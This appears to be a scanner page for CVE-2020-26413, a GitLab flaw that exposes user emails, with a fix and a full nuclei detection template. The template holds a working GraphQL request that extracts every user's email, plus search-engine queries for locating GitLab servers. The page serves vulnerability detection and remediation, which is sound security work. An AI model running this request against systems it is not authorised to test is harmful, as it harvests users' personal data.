Gitlab CE/EE 13.4 - 13.6.2 - Information Disclosure

mediumseverity

5.3CVSS score

34.9%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

GitLab CE and EE 13.4 through 13.6.2 is susceptible to Information disclosure via GraphQL. User email is visible. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

An attacker can gain unauthorized access to sensitive information.

Fix

Upgrade Gitlab CE/EE to version 13.6.3 or later.

How to confirm it

Send: POST /api/graphql
Positive when: contains "\"username\":" and "\"avatarUrl\":" and "\"node\":" AND status 200

Run it with nuclei: nuclei -id CVE-2020-26413 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-26413

info:
  name: Gitlab CE/EE 13.4 - 13.6.2 - Information Disclosure
  author: _0xf4n9x_,pikpikcu
  severity: medium
  description: GitLab CE and EE 13.4 through 13.6.2 is susceptible to Information disclosure via GraphQL. User email is visible. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    An attacker can gain unauthorized access to sensitive information.
  remediation: |
    Upgrade Gitlab CE/EE to version 13.6.3 or later.
  reference:
    - https://gitlab.com/gitlab-org/gitlab/-/issues/244275
    - https://gitlab.com/gitlab-org/cves/-/blob/master/2020/CVE-2020-26413.json
    - https://nvd.nist.gov/vuln/detail/CVE-2020-26413
    - https://hackerone.com/reports/972355
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-26413
    cwe-id: CWE-200
    epss-score: 0.34931
    epss-percentile: 0.98447
    cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*
  metadata:
    max-request: 1
    vendor: gitlab
    product: gitlab
    shodan-query:
      - http.title:"GitLab"
      - cpe:"cpe:2.3:a:gitlab:gitlab"
      - http.title:"gitlab"
    fofa-query: title="gitlab"
    google-query: intitle:"gitlab"
  tags: cve,cve2020,hackerone,gitlab,exposure,enum,graphql,vuln

http:
  - raw:
      - |
        POST /api/graphql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "query": "{\nusers {\nedges {\n  node {\n    username\n    email\n    avatarUrl\n    status {\n      emoji\n      message\n      messageHtml\n     }\n    }\n   }\n  }\n }",
          "variables": null,
          "operationName": null
        }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"username":'
          - '"avatarUrl":'
          - '"node":'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: json
        json:
          - '.data.users.edges[].node.email'
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from